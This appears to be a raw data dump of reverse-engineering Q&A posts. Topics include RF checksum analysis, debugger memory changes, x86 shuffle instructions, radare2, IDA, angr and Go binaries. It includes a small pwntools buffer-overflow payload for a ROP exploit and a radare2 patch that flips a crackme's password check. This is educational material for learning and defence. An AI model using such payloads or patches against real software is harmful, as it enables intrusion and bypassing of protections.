+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c e1 00 60 1f 55 4a cd 0a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0c e1 00 60 1f 55 4a cd 0a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0d 01 00 60 1f 55 4a ba 5b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0d 81 00 60 1f 55 4a 2a 73
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e 01 00 60 1f 55 49 bc a6
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e 21 00 60 1f 55 49 89 ae
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e 61 00 60 1f 55 49 49 aa
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e 81 00 60 1f 55 49 2c 8e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e a1 00 60 1f 55 49 19 86
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e c1 00 60 1f 55 48 fc ab
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0e e1 00 60 1f 55 48 c9 a3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f 01 00 60 1f 55 48 be f2
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f 21 00 60 1f 55 48 8b fa
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f 61 00 60 1f 55 48 4b fe
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f 61 00 60 1f 55 48 4b fe
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f 61 00 60 1f 55 48 4b fe
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f a1 00 60 1f 55 48 1b d2
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f c1 00 60 1f 55 47 f1 2d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 0f c1 00 60 1f 55 47 f1 2d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 01 00 60 1f 55 47 b6 87
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 21 00 60 1f 55 47 83 8f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 21 00 60 1f 55 47 83 8f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 41 00 60 1f 55 47 76 83
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 61 00 60 1f 55 47 43 8b
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 e1 00 60 1f 55 46 c3 82
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 10 e1 00 60 1f 55 46 c3 82
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 11 81 00 60 1f 55 46 24 fb
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 11 a1 00 60 1f 55 46 11 f3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 11 a1 00 60 1f 55 46 11 f3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 11 a1 00 60 1f 55 46 11 f3
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 11 e1 00 60 1f 55 45 c3 90
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 11 e1 00 60 1f 55 45 c3 90
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 12 41 00 60 1f 55 45 72 2a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 12 41 00 60 1f 55 45 72 2a
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 12 61 00 60 1f 55 45 47 22
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 12 61 00 60 1f 55 45 47 22
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 12 c1 00 60 1f 55 44 f2 23
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 12 c1 00 60 1f 55 44 f2 23
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 13 21 00 60 1f 55 44 85 72
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 13 21 00 60 1f 55 44 85 72
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 13 21 00 60 1f 55 44 85 72
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 13 61 00 60 1f 55 44 45 76
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 13 81 00 60 1f 55 44 20 52
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 13 e1 00 60 1f 55 43 c3 b5
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 14 a1 00 60 1f 55 43 1a f5
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 14 e1 00 60 1f 55 42 ca d0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 15 81 00 60 1f 55 42 2d a9
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 15 a1 00 60 1f 55 42 18 a1
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 16 61 00 60 1f 55 41 4e 70
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 16 a1 00 60 1f 55 41 1e 5c
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 16 c1 00 60 1f 55 40 fb 71
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 16 e1 00 60 1f 55 40 ce 79
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 18 01 00 60 1f 55 5f b6 13
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 18 c1 00 60 1f 55 5e f6 1e
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 19 81 00 60 1f 55 5e 24 6f
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 19 a1 00 60 1f 55 5e 11 67
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1a 01 00 60 1f 55 5d b2 ba
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1a c1 00 60 1f 55 5c f2 b7
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1b 21 00 60 1f 55 5c 85 e6
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1b 81 00 60 1f 55 5c 20 c6
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1c 01 00 60 1f 55 5b bf 41
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1d 01 00 60 1f 55 5a bd 15
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1d 81 00 60 1f 55 5a 2d 3d
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1d a1 00 60 1f 55 5a 18 35
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1e 41 00 60 1f 55 59 7b ec
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1e c1 00 60 1f 55 58 fb e5
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1f 21 00 60 1f 55 58 8c b4
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1f 41 00 60 1f 55 58 79 b8
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1f 61 00 60 1f 55 58 4c b0
+aa aa aa aa aa 90 8e 7c 64 ce 20 33 b8 a0 26 3f c0 1f e1 00 60 1f 55 57 c3 6b
+
+",27051,Babud Imre,27051,,1/11/2019 6:59,1/14/2019 8:27,Identification of RF hash algorithm,I'm in a situation where I have an executable file. When I start it within the debugger (x32dbg), with breakpoints set to every occasion (DLL entry, DLL load, Thread start,..), to restrict the amount of actions that get executed right after the file is ran,
+ +in the dump I see some bytes which are different from those at the same location in the exe file.
+ +Why is this happening and how to prevent this?
+
My thought is it has something to do with dynamic linking of some sort. The values change when: the exe is saved(EVEN WITH THE EXACTLY SAME CONTENT AS BEFORE) and ran. Thus the offset where the code is placed and the specific bytes are recalculated. The only thing that loads, however, is ntdll.dll an then the first breakpoint is hit. So I guess the content of the exe is copied to the ram, that time is everything allright, then the magic part happens, where the subroutine or what knows what bytes to change and it changes them, and then the debugger gets the control.
+",27049,,27049,,1/11/2019 21:31,1/13/2019 19:41,Certain bytes in the memory (RAM) get changed after the program starts. Why?,As explained there for a similar problem, facing an unknown Frame Check Sequence, the first thing should be to determine if it is an affine function of the frame data, for the sense that has in cryptography. This can be defined by the property:
+ +++ +For any set with an odd number of frames of equal length, the XOR of the Frame Check Sequences for these frames is also the FCS for the (often, other) frame obtained by XOR-ing the data portion of the frames in the set.
+
All CRCs are affine (including non-standard variations); secure cryptographic hashes and Message Authentication Codes are not.
+ +There is evidence that indeed that FCS is affine: it is easy to isolate blocks of four (or larger even number) of different lines such that one is the XOR of the others, and that allows prediction of the last two bytes for most lines. Two examples:
+ +aaaaaaaaaa908e7c64ce2033b8a0263fc0 0241 00601f55 55 7564
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0261 00601f55 55 406c
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0401 00601f55 53 b89b
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0421 00601f55 53 8d93
+
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0441 00601f55 53 789f
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0501 00601f55 52 bacf
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0661 00601f55 51 493e
+aaaaaaaaaa908e7c64ce2033b8a0263fc0 0721 00601f55 50 8b6e
+
+
+Using Gaussian elimination, I verified that all the question's 93 given distinct lines are consistent with an affine function, and determined the influence on the rightmost two bytes of the 13 bits that vary in the rest of the frame. Therefore, the whole data set becomes equivalent to (any) one of it lines, and the following short table telling the influence on the FCS of toggling each of the 13 bits:
+ +byte byte FCS influence
+index mask (bytes 24 and 25)
+ 17 0x10 0x157F
+ 17 0x08 0x1BBD
+ 17 0x04 0x0DDE
+ 17 0x02 0x06EF
+ 17 0x01 0x1275
+ 18 0x80 0x9028
+ 18 0x40 0xC004
+ 18 0x20 0x3508
+ 23 0x10 0x1231
+ 23 0x08 0x0918
+ 23 0x04 0x048C
+ 23 0x02 0x0246
+ 23 0x01 0x1021
+
+
+This is enough to compute the FCS of 213 different frames, starting from that of the reference frame, and XORing its FCS with the FCS influence for any bit that differs from the reference frame. The code is only a few lines of C. That works for any affine function when we have adequate examples. We need one example frame per frame bit excluding FCS when we can choose the example frames, and typically only a few more frames for uniformly random frames.
+ +There is further regularity in there! The FCS influence for the 5 bits of byte 23 is precisely that expected for the CRC-16-CCITT polynomial x16+x12+x5+1 (when using big-endian convention): the influence of bit i counting from the right (here 26*8-1-n with n from the left and 0-based) is the value obtained by computing the remainder of the polynomial division of xi by x16+x12+x5+1, and turning the remainder polynomial to a value by evaluating it for x=2.
+ +E.g., for influence of byte 23 mask 0x10, evaluating the remainder of the polynomial division of x20 by x16+x12+x5+1 , or equivalently 0x100000
by 0x011021
, goes 0x100000^(0x011021<<4) = 0x010210
then 0x010210^(0x011021<<0) = 0x1231
.
One possibility is that this FCS is one of countless failed attempts to implement CRC-16-CCITT; though one that went unusually out of track, in a way that still puzzles me. I'm tempted to incriminate a partial or misaligned capture, but that tends to conflicts with the statement:
+ +++ +When I 'replay' the collected messages the lamp reacts as expected.
+
More samples might help. Perhaps, put this into a pastebin linked in the question or a comment. Perhaps, give settings of the NRF24L01 device and/or software used for the capture.
+",3035,,3035,,1/14/2019 8:27,1/14/2019 8:27,,,,3,,,,CC BY-SA 4.0 +20332,1,,,1/10/2019 20:31,,2,391,"I am trying to get a ROP exploit to work on Ubuntu 18.04 LTS 64bit.
+ +I have a 64 bit binary (Nx enabled, ASLR disabled) with vuln function as follows:
+ +public vuln
+vuln proc near
+
+var_100= byte ptr -100h
+
+push rbp
+mov rbp, rsp
+sub rsp, 100h
+lea rdi, s ; ""Gimme some data!""
+call _puts
+lea rax, [rbp+var_100]
+mov rdi, rax
+mov eax, 0
+call _gets
+nop
+leave
+retn
+vuln endp
+
+
+I need to overwrite the return pointer of vuln function with the libc base address where I will write parameters for execve call.
+ +The buffer is 264 bytes long. So with 272 'A' I get the following position:
+ +0x55555555471d <vuln+45> ret <0x4141414141414141>
+
+
+Stack:
+ +00:0000│ rsp 0x7fffffffe2c8 ◂— 'AAAAAAAA'
+
+
+But when I try to overflow with the libc address(0x7ffff7a3a000) it is giving a SIGSEGV and it is behaving the following way:
+ +0x55555555471d <vuln+45> ret <0x3061785c3030785c>
+
+
+Stack:
+ +00:0000│ rsp r11-6 0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')
+01:0008│ 0x7fffffffe2d0 ◂— 0xefbdbfef3361785c
+02:0010│ 0x7fffffffe2d8 ◂— 0x3030785cbdbf
+
+
+I dont know where am I going wrong!!!! I have put so many days in it but to no extent. I have done buffer overflow before but never encountered this problem.
+ +Following is my python script that is generating the payload (this is only to overflow the return address):
+ +#! /usr/bin/env python2
+
+from pwn import *
+
+payload = 'A' * 264
+payload += p64(0x7ffff7a3a000)
+
+print(payload)
+
+",27008,,27008,,1/10/2019 20:37,1/12/2019 4:43,ROP chain: Buffer Overflow Return Pointer,I'm disassembling a 16-bit DOS executable, and looking at the following three instructions:
+ +mov dx,0x3ce
+mov ax,0xff08
+out dx,ax
+
+
+I know it writes the value 0xff08
to I/O port 0x3ce
. I also know that port 0x3ce
is the ""Graphics 1 & 2 Address"" register on an IBM EGA card. Problem is, according to the manual, this port should take a byte value, not a word.
What I'm guessing is happening is that the word 0xff08
is taken as two different bytes, where one byte ends up in the specified register and the other goes to an adjacent one. Or maybe the offending byte gets thrown out? Either way it's a guess, as I can't seem to find much info about this specific behavior.
I don't have a good intuitive sense about which direction the I/O address space flows, or how the little-endian storage of the word may come into play. After this snippet executes, which ports got which bytes?
+",25711,,,,,1/11/2019 0:06,How is the I/O address space on the PC arranged?,I have 4 different types of USB 3G modems from Europe. They're not operator locked. I'm trying to use them on an American network for 3G connectivity.
+ +Even though they state ""850, 900, 1800, 1900 MHz"" bands in their specs, and my network supposedly has UMTS on 850 MHz, I can only get a 2G (EDGE) connection and furthermore, they all detect my SIM card as out of network and put me in ""roaming"" mode.
+ +I've found out that the radios in these things are usually universal but the band limits are only in software. Therefore I was wondering if there would be any way (through undocumented AT commands or firmware flashing) I could get either one of these modems to switch allowed bands and let me get 3G speeds in North America.
+ +Are there any resources where I can get AT command lists and/or different region firmware for these devices? Or is there anyone that could maybe point me in the right direction?
+ +These are the devices I have:
+ +I tried flashing different versions of firmware and/or googling AT commands to change bands on some of these, but at the end, the moment I switch mode to 3G I get ""no service""
+ +Any help would be greatly appreciated...
+",27053,,,,,1/11/2019 0:05,USB 3G Stick changing frequency bands,Port I/O works similar to memory I/O, so the low byte (08) will be written to the port 3CE and the high byte (0xFF) to the port 3CF.
+ +Example from Use of bitplanes in mode 12h:
+ +++",60,,,,,1/11/2019 0:06,,,,0,,,,CC BY-SA 4.0 +20336,1,20337,,1/11/2019 3:48,,0,1132,"The index port of the Graphics Controller (part of the VGA interface) is at + $3CE. The data port is at (index+1), so $3CF. If we want to write a 4 to index + 2, we do: Port[$3CE]:=2; { index } Port[$3CF]:=4; { data } + But there is a way to do it with one Port[]. There's also a PortW[] 'array', + and if the addressed port isn't a 16-bit one, it sends the lo byte to + address, and the high byte to address+1. Just what we need. The example + becomes: PortW[$3CE]:=$0402; { index in low byte, data in high byte }
+
I'm new to radare2 here. Just started learning and I was trying out a challenge. What does the 3 columns in the radare2 visual mode represent?
+ +May I know how the command below:
+ +wa je 0x400976 @0x00400968
changes 760c
to 740c
and jne 0x400976
to je 0x400976
?
Also, what does that accomplish? +Does it just bypass the function
+ +Thank you!
+ + + + +",27055,,18014,,1/11/2019 6:51,1/11/2019 7:50,How does this command modify the condition?,++ +What does the 3 columns in the radare2 visual mode represent?
+
The first one is an address of the instruction, then opcodes followed by mnemonic. On the far left you have also some arrows indicating jumps and on the far right there are comments.
+ +++ +May I know how the command below:
+
+ wa je 0x400976 @0x00400968
+ changes 760c to 740c and jne 0x400976 to je 0x400976?
wa
command, which you could check by requesting help in r2, is a command that writes the opcode of the provided mnemonic.
| wa[?] push ebp write opcode, separated by ';' (use '""' around the command)
+
+
+So executing wa je 0x400976 @0x00400968
will write the opcodes for the je 0x400976
at the address of 0x400968
.
And actually it changes from 750c
, and that is the opcode of the jump-not-equal with the offset of 0xC
bytes. You requested (by issuing the command wa
) to write on that spot the jump-if-equal and the opcode of this is 74
. The offset stays the same.
++ +Also, what does that accomplish? Does it just bypass the function
+
It changes the condition so from now on the jump will be taken when the strings that are being compared (@0x400961
) are equal and not taken if they are different. This also happens to the string being printed at offset 0x400971
.
Apart from the first question this is nor really radare2 specific stuff. It looks like you should start with some basic assembly and/or RE topics/tutorials that are plenty on the internet.
+",18014,,,,,1/11/2019 6:50,,,,0,,,,CC BY-SA 4.0 +20338,1,20343,,1/11/2019 7:33,,5,1917,"I have been trying to figure out exactly what is happening with these instructions and can't make sense of them. I can see that the PSHUFLW instruction acts upon the first 16 bytes of the XMM register but can not figure it out. I have read the decription in the Intel® Architecture Instruction Set Extensions Programming Reference but just can't seem to get it. I am a very visual person so any help would be greatly appreciated. I have run some tests using the code
+ +xxm0 = 00000000000000000000000000003E2D
+PSHUFLW xmm0, xmm0, N
+
+
+and have the following results
+ + N = 0, output = 00000000000000003E2D3E2D3E2D3E2D
+ N = 1, output = 00000000000000003E2D3E2D3E2D0000
+ N = 2, output = 00000000000000003E2D3E2D3E2D0000
+ N = 3, output = 00000000000000003E2D3E2D3E2D0000
+ N = 4, output = 00000000000000003E2D3E2D00003E2D
+ N = 5, output = 00000000000000003E2D3E2D00000000
+ N = 6, output = 00000000000000003E2D3E2D00000000
+ N = 7, output = 00000000000000003E2D3E2D00000000
+ N = 8, output = 00000000000000003E2D3E2D00003E2D
+ N = 9, output = 00000000000000003E2D3E2D00000000
+ N = 10, output = 00000000000000003E2D00003E2D3E2D
+ N = 11, output = 00000000000000003E2D00003E2D0000
+ N = 12, output = 00000000000000003E2D00003E2D0000
+ N = 13, output = 00000000000000003E2D00003E2D0000
+ N = 14, output = 00000000000000003E2D000000003E2D
+ N = 15, output = 00000000000000003E2D000000000000
+ N = 16, output = 00000000000000003E2D000000000000
+ N = 17, output = 00000000000000003E2D000000000000
+ N = 18, output = 00000000000000003E2D000000003E2D
+ N = 19, output = 00000000000000003E2D000000000000
+ N = 20, output = 00000000000000003E2D00003E2D3E2D
+
+
+I would like to know how these instructions work, and maybe a visual guide on future instructions similar to this. I have only been reversing for a couple of weeks so I am very fresh. Thanks for any help you can provide.
+",27056,,,,,1/12/2019 21:33,How do the PSHUFLW and PSHUFD instructions work?,You can check the official Radare 2 Book where you should find the first steps as well as the basic command to go. The write command is described here
+ +Another resouce I found so useful when I started learning r2 is the two part tutorial Megabeets wrote about a simple crackme.
+",27057,,,,,1/11/2019 7:50,,,,0,,,,CC BY-SA 4.0 +20340,1,20342,,1/11/2019 14:01,,1,3201,"I have created a very basic golang program which display a message with fmt.Println().
+ +Here is what is see in radare2:
+ +lea rcx, obj.main.statictmp_0 ; 0x4c84b0 ; ""y[K""
+mov qword [local_48h], rcx
+lea rcx, [local_40h] ; 0x40 ; '@' ; 64
+mov qword [rsp], rcx
+mov qword [local_8h], 1
+mov qword [local_10h], 1
+call sym.fmt.Println
+
+
+I suppose obj.main.statictmp_0 contains my string message.
+ +I have tried:
+ +ps @obj.main.statictmp_0
+
+
+but it does not display my message. +Any idea ?
+ +Thanks
+",18590,,,,,1/11/2019 18:19,Print string at address with radare2,use pf S @obj.main.statictmp_0
. string length is at address @obj.main.statictmp_0+8
if using 64bit or @obj.main.statictmp_0+4
if using 32bit!
pf S @obj.main.statictmp_0 ; gives you string
+pf p @obj.main.statictmp_0+8 ; gives you string length
+
+",12687,,,,,1/11/2019 18:19,,,,0,,,,CC BY-SA 4.0
+20343,2,,20338,1/11/2019 20:27,,6,,"The visual story of PSHUFLW is as follows:
+ + + +Position
as same mean as Order
here and starts from Zero (Zero-Indexed).As you can see it selects words from source based on value of N. The Order/Position of selection will be chosen by 2 bit values of N. for example when N=4,
+ +word
at position/order 0 of source and copies it in Position 0 of destination.word
at position/order 1 of source and copies it in 1st Position of destination.word
at position/order 0 of source and copies it in 2nd Position of destination.word
at position/order 0 of source and copies it in 3rd Position of destination.Next example when N=17,
+ +word
at position/order 1 of source and copies it in Position 0 of destination.word
at position/order 0 of source and copies it in 1st Position of destination.word
at position/order 1 of source and copies it in 2nd Position of destination.word
at position/order 0 of source and copies it in 3rd Position of destination.PS: your output for N=17 in above question is wrong! PSHUFD is just same except it will select doublewords from source and copies in destination. so low and high quadword in PSHUFD will be used while in PSHUFLW the low quadword used.
+",12687,,12687,,1/12/2019 21:33,1/12/2019 21:33,,,,4,,,,CC BY-SA 4.0 +20344,2,,20332,1/12/2019 4:43,,1,,"The zero in the address that you are passing is causing the string to be terminated and the following values to not be stored. You won't be able to return directly to libc that way. Instead, you'll need a different address that can either branch to libc directly (but contains no zeroes in the address), or which can push that value for you before performing a ret itself.
+",1323,,,,,1/12/2019 4:43,,,,1,,,,CC BY-SA 4.0 +20349,1,20350,,1/12/2019 19:12,,0,6774,"I am new with IDA assembler and i used to work with hopper app. +the problem is i can't change instruction in IDA from something like CBNZ to NOP. +is there any button to do this? i can't find anything on the internet and I have been searching for it all day. +I have tried many options from the edit menu.
+",27070,,245,,1/14/2019 9:43,7/25/2022 19:32,how should i change an instruction to NOP in IDA?,NOTE: I'm assuming you're using IDA 7.X, although this should work equally well for 6.X versions.
+ +The option you're looking for is called Patch Program
. For your specific question, you'd do the following:
Edit -> Patch Program -> Assemble
The original instruction will now have been replaced with the new one.
+ +This article has more info and examples of using the other options in the Patch Program
submenu.
Here is a very basic golang program:
+ +package main
+import ""fmt""
+
+func main() {
+ var s1 string
+ fmt.Scanln(&s1)
+
+ if s1==""goodpassword"" {
+ fmt.Println(""Good"")
+ } else {
+ fmt.Println(""Wrong"")
+ }
+}
+
+
+I have compiled this program (elf64 linux binary).
+ +I have diasssembled the binary and i have found the addresses of the 2 fmt.Println calls:
+ +...
+0x00490d4f lea rax, obj.main.statictmp_1 ; wrong
+...
+0x00490d99 lea rax, obj.main.statictmp_0 ; good
+...
+
+
+Now, i have wrote this python program:
+ +import angr
+from angr.state_plugins import SimSystemPosix
+
+p = angr.Project('./mybinary')
+
+sm = p.factory.simulation_manager()
+sm.explore(find= 0x00490d99, avoid= 0x00490d4f)
+
+print(sm.found[0].posix.dumps(0))
+
+
+I do not understand why angr does not return ""goodpassword"" string. +I have something wrong but i do not understand what...
+ +Thanks for your help
+",18590,,,,,1/13/2019 11:26,angr with a golang target,What is the meaning of the following pseudo-code?:
+ +BYTE1(v2)
or BYTE1(v2)
HIBYTE(v2)
Is there any explanation for those macros? How can I implement those macros in C code?
+",27074,,245,,1/14/2019 9:46,1/15/2021 20:33,Understanding Hex-Rays pseudo code,The Go run time is fairly complicated that symbolic solvers will not run out-of-the-box as-is. You are asking angr
to figure out everything on it's own which may be feasible for simple and uncomplicated C programs but not for something like Go binaries.
For example, the fmt.Scanln
function will call multiple Go functions before you reach libc.read
. Angr has SimProcedures for read
but not for fmt.Scanln
. To figure out what fmt.Scanln
does it has to symbolically execute after which only it may able to discover the dependency between stdin
and the program output. Symbolically executing Scanln
is by no way a simple task.
Instead, you should break down the problem in parts which you can ask angr
to solve. Like if you have identified the buffer where the user input is stored you can mark that as symbolic and instruct angr
to find the path to the ""good password"" branch.
Further resources on Go reversing:
+ +BYTE1(v2)
is the second byte of value v2. according to the reference it's Zero-Indexed. defined as:
#define BYTEn(x, n) (*((_BYTE*)&(x)+n))
+#define BYTE1(x) BYTEn(x, 1) // byte 1 (counting from 0)
+
+
+for example BYTE1(0x1213141516)
is 0x15. (according to Little Endian Byte Order)
HIBYTE(v2)
is the higher byte of value v2. defined as:
#define HIBYTE(x) (*((_BYTE*)&(x)+1))
+
+
+for example HIBYTE(0x1213)
is 0x12. (according to Little Endian Byte Order)
Radare2's afl command returns function names with a specific syntax that I could not find documentation on:
+ +For example:
+ +radare2 -2 -A -q -c ""aflj"" C:/Windows/system32/advapi32.dll
+
+0x77cce13c 22 280 sub.ntdll.dll_RtlNtStatusToDosError_13c
+0x77cce259 7 62 fcn.77cce259
+0x77cce29c 10 88 sub.KERNEL32.dll_lstrcmpiW_29c
+0x77cce2f9 24 463 sub.KERNEL32.dll_lstrlenW_2f9
+0x77c617b4 1 40 sym.imp.KERNEL32.dll_LocalAlloc
+0x77c6abe5 5 92 -> 130 sub.KERNEL32.dll_LocalAlloc_be5
+0x77c7edd5 1 20 sub.KERNEL32.dll_LocalAlloc_dd5
+
+
+The DLL file names are all in lowercase:
+ +The magic might be TLS callbacks that run before entry point is reached. This behavior is well documented, see for example the following article:
+ +https://isc.sans.edu/diary/How+Malware+Defends+Itself+Using+TLS+Callback+Functions/6655
+",4192,,,,,1/13/2019 19:41,,,,1,,,,CC BY-SA 4.0 +20362,1,20374,,1/13/2019 22:54,,1,128,"I'm planning to read a MX25U1635E chip using the CH341a reader.
+ +The specs for that chip say it has a max voltage of 1.6-2.0 volts. The reader has an output of 3.3-5.0 volts.
+ +Most tutorials for the reader instruct you to just clamp it on the chip and start reading.
+ +Can I do that in my case, or do I have tweak the CH341a voltage down somehow before reading the chip?
+",27086,,,,,1/14/2019 22:12,Flash ROM has lower max voltage than read device?,I have just converted this piece of code in assembly:
+ +#include <stdio.h>
+#include <stdlib.h>
+
+int main(int argc, char** argv) {
+ return (1);
+}
+
+
+Here are my questions:
+ +Below is the assembly code generated from my c program:
+ +SECTION .text align=1 execute ; section number 1, code
+
+main: ; Function begin
+push rbp ; 0000 _ 55
+mov rbp, rsp ; 0001 _ 48: 89. E5
+mov dword [rbp-4H], edi ; 0004 _ 89. 7D, FC
+mov qword [rbp-10H], rsi ; 0007 _ 48: 89. 75, F0
+mov eax, 1 ; 000B _ B8, 00000001
+pop rbp ; 0010 _ 5D
+ret ; 0011 _ C3
+; main End of function
+
+
+SECTION .data align=1 noexecute ; section number 2, data
+
+SECTION .bss align=1 noexecute ; section number 3, bss
+
+",27078,,,,,1/14/2019 6:20,"Understanding assembly code: ""mov dword"" and ""mov qword"" in main.c",Variables are aligned to some extent to help faster access to them. The alignment value is usually an implementation detail, but compilers usually follow Intel's recommendations to align/place variables next to each other.
+According to Intel® 64 and IA-32 Architectures Optimization Reference Manual, section 3.6.7 Stack Alignment*:
+++Performance penalty of unaligned access to the stack happens when a +memory reference splits a cache line. This means that one out of eight +spatially consecutive unaligned quadword accesses is always penalized, +similarly for one out of 4 consecutive, non-aligned double-quadword +accesses, etc.
+Aligning the stack may be beneficial any time there are +data objects that exceed the default stack alignment of the system. +For example, on 32/64bit Linux, and 64bit Windows, the default stack +alignment is 16 bytes, while 32bit Windows is 4 bytes.
+Assembly/Compiler Coding Rule 55. (H impact, M generality) Make sure +that the stack is aligned at the largest multi-byte granular data type +boundary matching the register width.
+
In your case on x64 the registers are 8 bytes wide and argc
being an int
is 4 bytes wide. Following the guideline above the variables are aligned to 8-byte boundary.
► 0x5555555545fe <main+4> mov dword ptr [rbp - 4], edi
+ 0x555555554601 <main+7> mov qword ptr [rbp - 0x10], rsi
+ 0x555555554605 <main+11> mov eax, 0x2a
+ 0x55555555460a <main+16> pop rbp
+ 0x55555555460b <main+17> ret
+
+edi
stores argc
a 32 bit value - packed in a 64 bit boundary with the upper 32 bits of no use for you.
pwndbg> tele rbp-0x10
+00:0000│ 0x7fffffffdf10 —▸ 0x7fffffffe000 ◂— 0x1
+01:0008│ 0x7fffffffdf18 ◂— 0x0
+02:0010│ rbp rsp 0x7fffffffdf20 —▸ 0x555555554610 (__libc_csu_init) ◂— push r15
+
+So the argv
starts 8 bytes above argv
I'm working on reverse engineering an embedded system which uses a Z80 processor. I'm using IDA as the disassembler. I ran upon an absolute jump (JP) that seems to jump to the middle of another instruction. I undefined and redefined the target location as code, and it disassembled into valid instructions, but they don't appear to do anything. I was wondering if I could get some help making sense of this or if I'm overlooking something.
+ +Edit: +This jump is an exit point for a loop.
+ +Source + Bin + IDB file can be found here
+ +Jump code:
+ + + +Jump target with IDA auto disassembly:
+ + + +Jump target after undefining and redefining 121 as code:
